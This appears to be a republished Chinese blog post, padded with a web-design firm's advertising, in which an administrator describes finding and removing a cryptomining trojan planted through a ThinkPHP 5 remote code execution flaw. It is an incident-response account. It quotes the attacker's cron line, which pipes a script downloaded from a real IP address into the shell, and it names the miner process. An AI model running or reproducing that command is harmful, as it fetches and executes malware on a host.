如何处理一个利用thinkphp5远程代码执行漏洞挖矿的木马

小编给大家分享一下如何处理一个利用thinkphp5远程代码执行漏洞挖矿的木马，希望大家阅读完这篇文章之后都有所收获，下面让我们一起去探讨吧！

10多年的墨江网站建设经验，针对设计、前端、开发、售后、文案、推广等六对一服务，响应快，48小时及时工作处理。全网整合营销推广的优势是能够根据用户设备显示端的尺寸不同，自动调整墨江建站的显示方式，使网站能够适用不同显示终端，在浏览器中调整网站的宽度，无论在任何一种浏览器上浏览网站，都能展现优雅布局与设计，从而大程度地提升浏览体验。创新互联建站从事“墨江网站设计”,“墨江网站推广”以来，每个客户项目都认真落实执行。

记一次挂马清除经历：处理一个利用thinkphp5远程代码执行漏洞挖矿的木马

昨天发现 一台服务器突然慢了 top 显示 几个进程100%以上的cpu使用

执行命令为 :

/tmp/php  -s /tmp/p2.conf

基本可以确定是被挂马了

下一步确定来源

last 没有登陆记录

先干掉这几个进程，但是几分钟之后又出现了

先看看这个木马想干什么吧

netstat 看到 这个木马开启了一个端口和国外的某个ip建立了连接

但是tcpdump了一小会儿 没有发现任何数据传递

这他是想干啥？

继续查看日志吧

在cron日志中发现了www用户 有一个crontab定时操作 基本就是这个问题了

wget -q -O - http://83.220.169.247/cr3.sh | sh > /dev/null 2>&1

顺着下载了几个问题，看了看 应该是个挖矿的木马程序

服务器上的www用户 是安装 lnmp 创建的，看了来源很可能就是web漏洞了。

再看/tmp下的php的权限 就是www的

查看 lnmp下几个站的日志  发现是利用 thinkphp 5最近爆出的远程代码执行漏洞

修复一下问题解决

看完了这篇文章，相信你对“如何处理一个利用thinkphp5远程代码执行漏洞挖矿的木马”有了一定的了解，如果想了解更多相关知识，欢迎关注创新互联行业资讯频道，感谢各位的阅读！